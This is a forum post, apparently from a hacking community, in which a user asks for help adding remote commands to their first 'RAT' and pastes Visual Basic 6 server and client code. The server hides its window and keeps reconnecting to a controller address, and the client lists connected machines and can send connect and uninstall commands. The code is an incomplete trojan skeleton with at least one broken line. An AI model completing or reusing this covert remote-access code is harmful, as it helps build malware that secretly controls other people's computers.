kridan500
Active Member

- Joined
- Feb 11, 2007
- Sythe Gold
- 0
- Messages
- 217
Hello im making my first rat(education purpose only
)
And iv downloaded the conect code but how do i make it make things on the other computer.
Lets say i whanna make it make a message i type msgbox"lol"
But what code around?
Here comes the code(in the server iv took away a vrusial bit so n3wbs wont hack peeps.)
server:
client:
And iv downloaded the conect code but how do i make it make things on the other computer.
Lets say i whanna make it make a message i type msgbox"lol"
But what code around?
Here comes the code(in the server iv took away a vrusial bit so n3wbs wont hack peeps.)
server:
Code:
Dim LocalPrt As Integer
Dim Sin As String
Dim SinPort As Integer
Private Sub Form_Load()
Me.Hide
LocalPrt = 2001
Sin = "ipxxxxxxx"
SinPort = 2000
End Sub
Private Sub Timer1_Timer()
If Winsock1.State <> sckConnected Then
Winsock1.Close
Winsock1.Connect Sin, SinPort
End If
If Winsock1.State = sckConnected And sckmain.State <> sckConnected Then
sckmain.Close
sckmain.Connect Sin, LocalPrt
End If
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Connect Sin, SinPort
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim s As String
Winsock1.GetData s
If s = "cnect" Then
MsgBox "Connected !"
Winsock1.SendData Str(LocalPrt)
Timer1.Enabled = True
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
End Sub
client:
Code:
Dim noc As Integer
Dim cn As Integer, cl As Integer
Dim ConnectPort As Integer
Private Sub Command1_Click()
tmrMousPos.Enabled = False
If Winsock1.State = sckConnected Then Winsock1.MsgBox "lol"
tmrMousPos.Enabled = True
End Sub
Private Sub Form_Load()
noc = 0
Call wslisten
End Sub
Function wslisten()
On Error Resume Next
noc = noc + 1
Load Winsock1(noc)
Winsock1(noc).LocalPort = 2000
Winsock1(noc).Listen
End Function
Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub List1_DblClick()
Dim i As Integer
For i = Winsock1.LBound To Winsock1.UBound
If getIndexAvailability(Winsock1, i) = False Then GoTo nexti
If List1.Text = Winsock1(i).RemoteHostIP Then
If Winsock1(i).State = sckConnected Then
Winsock1(i).SendData "cnect"
cn = i
Exit Sub
Else
For j = 0 To List1.ListCount - 1
List1.Selected(j) = True
If List1.Text = Winsock1(i).RemoteHostIP Then
List1.RemoveItem (j)
List1.Refresh
Unload Winsock1(i)
Exit Sub
End If
Next
Call wslisten
End If
End If
nexti:
Next
End Sub
Function getIndexAvailability(ctlArr As Object, intIndex As Integer) As Boolean
On Error GoTo errHandeler
Dim X As Integer
X = ctlArr(intIndex).Index
getIndexAvailability = True
Exit Function
errHandeler:
getIndexAvailability = False
End Function
Private Sub List1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 2 Then
PopupMenu mnu
End If
End Sub
Private Sub mnuconnect_Click()
Call List1_DblClick
End Sub
Private Sub mnuuninstall_Click()
Dim i As Integer
For i = Winsock1.LBound To Winsock1.UBound
If getIndexAvailability(Winsock1, i) = False Then GoTo nexti
If List1.Text = Winsock1(i).RemoteHostIP Then
If Winsock1(i).State = sckConnected Then
Winsock1(i).SendData "unin"
For j = 0 To List1.ListCount - 1
List1.Selected(j) = True
If List1.Text = Winsock1(i).RemoteHostIP Then
List1.RemoveItem (j)
List1.Refresh
cl = i
Timer1.Enabled = True
'Unload Winsock1(i)
Exit Sub
End If
Next
Exit Sub
End If
End If
nexti:
Next
End Sub
Private Sub Timer1_Timer()
Unload Winsock1(cl)
Timer1.Enabled = False
End Sub
Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Winsock1(noc).Close
Winsock1(noc).Accept requestID
Call listit
Call wslisten
End Sub
Function listit()
If List1.ListCount = 0 Then List1.AddItem Winsock1(noc).RemoteHostIP
For i = 0 To List1.ListCount - 1
List1.Selected(i) = True
If List1.Text <> Winsock1(noc).RemoteHostIP Then
List1.AddItem Winsock1(noc).RemoteHostIP
End If
Next
End Function
Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim s As String
Winsock1(cn).GetData s
ConnectPort = Val(s)
Winsock2.Close
Winsock2.LocalPort = ConnectPort
Winsock2.Listen
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
MsgBox "Connected to : " + Winsock2.RemoteHostIP
End Sub
Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock2.Close
End Sub

